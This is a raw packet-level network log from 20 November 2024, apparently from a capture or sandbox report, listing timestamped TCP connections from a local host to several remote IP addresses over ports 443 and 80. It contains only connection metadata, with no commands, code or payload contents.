Nov 20, 2024 03:20:37.623332977 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.623342991 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.623369932 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.623507023 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.623507023 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.623979092 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.623987913 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.894731998 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.894794941 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.894902945 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.895196915 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.895210981 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:38.357358932 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:38.357443094 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:38.358603954 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:38.358619928 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:38.359087944 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:38.360270977 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:38.360402107 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:38.360474110 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:38.989116907 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:38.989234924 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:38.989417076 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.259098053 CET	49709	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.259128094 CET	443	49709	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:39.431382895 CET	49673	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:20:39.492027044 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.492053032 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:39.492144108 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.492562056 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.492573977 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:39.806485891 CET	49672	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:20:39.971860886 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:39.971946955 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.973685026 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.973691940 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:39.973998070 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:39.975456953 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.975456953 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:39.975498915 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:39.975564957 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:40.019339085 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:40.580761909 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:40.580879927 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:40.580976963 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:40.581178904 CET	49710	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:40.581183910 CET	443	49710	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:40.815342903 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:40.815382004 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:40.815509081 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:40.815973043 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:40.815983057 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:41.432524920 CET	443	49706	23.206.229.226	192.168.2.8
Nov 20, 2024 03:20:41.432634115 CET	49706	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:20:41.479919910 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:41.480134964 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:41.482108116 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:41.482114077 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:41.482340097 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:41.483964920 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:41.484112024 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:41.484134912 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:41.484208107 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:41.484215975 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:42.377094030 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:42.377192974 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:42.377264023 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:42.377571106 CET	49711	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:42.377585888 CET	443	49711	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:42.775567055 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:42.775604010 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:42.775686979 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:42.776000977 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:42.776021957 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:43.376491070 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:43.376585960 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:43.377799034 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:43.377808094 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:43.378184080 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:43.379409075 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:43.379518032 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:43.379524946 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:43.801327944 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:43.801419973 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:43.801491022 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:43.801726103 CET	49712	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:43.801734924 CET	443	49712	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.286906958 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.286948919 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.287028074 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.287369967 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.287384987 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.766588926 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.766688108 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.768004894 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.768028021 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.768290043 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.769706011 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.770616055 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.770662069 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.770788908 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.770836115 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.770978928 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.771054029 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.771197081 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.771246910 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.771424055 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.771491051 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.771682978 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.771722078 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.771742105 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.771773100 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.771910906 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.771946907 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.771986961 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.772103071 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.772151947 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.781891108 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.782114983 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.782161951 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:44.782210112 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.782288074 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:44.786719084 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:47.669389009 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:47.669497967 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:47.669600010 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:47.669677973 CET	49713	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:47.669718027 CET	443	49713	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:47.679845095 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:47.679884911 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:47.679992914 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:47.680325985 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:47.680346012 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.161853075 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.162072897 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:48.163636923 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:48.163650990 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.164022923 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.165210962 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:48.165258884 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:48.165319920 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.598378897 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.598496914 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.598613024 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:48.598675013 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:48.598690033 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.598702908 CET	49714	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:48.598709106 CET	443	49714	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:48.636874914 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:48.641890049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:48.642071009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:48.642071009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:48.646989107 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.351457119 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.351490974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.351584911 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.352124929 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.352158070 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.352191925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.352219105 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.352224112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.352288008 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.352422953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.352452993 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.352485895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.352509975 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.352516890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.352586985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.356616020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.356650114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.356684923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.356709957 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.356718063 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.356769085 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.357155085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.357207060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.357264996 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.476887941 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.476911068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.476934910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.476948977 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.476964951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.477068901 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.477154970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.477179050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.477202892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.477298021 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.477341890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.477353096 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.477880001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.477924109 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.477936029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.477937937 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.477986097 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.478584051 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.478598118 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.478612900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.478642941 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.478663921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.478708029 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.478844881 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.478861094 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.478883982 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.478919029 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.479266882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.479274035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.479279995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.479341030 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.479363918 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.480882883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.480899096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.480912924 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.480926991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.480947018 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.480982065 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.481983900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.482007980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.482023001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.482070923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.567593098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.567624092 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.567713022 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.602508068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.602533102 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.602549076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.602631092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.602727890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.602802992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.602818012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.602832079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.602837086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.602879047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.603291035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.603324890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.603354931 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.603367090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.603434086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.603760004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.603775024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.603787899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.603832006 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.603948116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.603971004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.603986025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604010105 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.604041100 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.604583025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604608059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604686022 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.604724884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604727983 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604743004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604758024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604780912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.604835987 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.604918957 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604976892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.604990959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605005980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605040073 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.605057001 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.605120897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605134964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605149031 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605199099 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605200052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.605216026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605252028 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.605489969 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605547905 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.605602980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605618954 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605633974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605648994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605660915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.605663061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605679035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605695009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605712891 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.605712891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.605745077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.605778933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.606173038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.606188059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.606203079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.606239080 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.606362104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.606376886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.606394053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.606420040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.606472969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.607522964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.607546091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.607561111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.607574940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.607590914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.607604980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.607669115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849526882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849630117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849642992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849680901 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849689007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849729061 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849750042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849765062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849782944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849792957 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849806070 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849818945 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849822044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849836111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849850893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849857092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849865913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849888086 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849900961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849910021 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849925041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849931955 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849939108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849961042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.849978924 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.849992037 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850003004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.850013971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850027084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850043058 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850050926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.850059032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850071907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850080013 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.850094080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850106001 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.850109100 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850122929 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850142002 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850152969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:49.850157976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:49.850172043 CET	80	49715	185.215.113.16	192.168.2.8
